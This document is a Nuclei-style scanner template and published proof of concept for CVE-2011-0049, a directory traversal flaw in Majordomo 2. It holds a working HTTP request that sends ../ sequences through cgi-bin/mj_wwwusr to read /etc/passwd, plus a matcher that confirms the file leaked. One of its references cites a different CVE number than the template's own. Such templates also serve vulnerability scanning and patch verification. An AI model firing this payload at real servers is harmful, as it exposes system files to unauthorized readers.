A directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
PoC代码[已公开]
id: CVE-2011-0049
info:
name: Majordomo2 - SMTP/HTTP Directory Traversal
author: pikpikcu
severity: medium
description: A directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
impact: |
This vulnerability can lead to unauthorized access to sensitive files and data on the server.
remediation: Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/16103
- https://nvd.nist.gov/vuln/detail/CVE-2011-0063
- http://www.kb.cert.org/vuls/id/363726
- https://bug628064.bugzilla.mozilla.org/attachment.cgi?id=506481
- http://securityreason.com/securityalert/8061
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2011-0049
cwe-id: CWE-22
epss-score: 0.91269
epss-percentile: 0.99641
cpe: cpe:2.3:a:mj2:majordomo_2:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: mj2
product: majordomo_2
tags: cve,cve2011,majordomo2,lfi,edb,mj2
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022055ea4e300c6d806241f9b72013ffb6161f2040481bebad03ec7a6efe63d73f0e022100f7a2b685639ee653fa05b75599f0f9c3ab66f35a3e0d9e8f7f47071f4fb01411:922c64590222798bb761d5b6d8e72950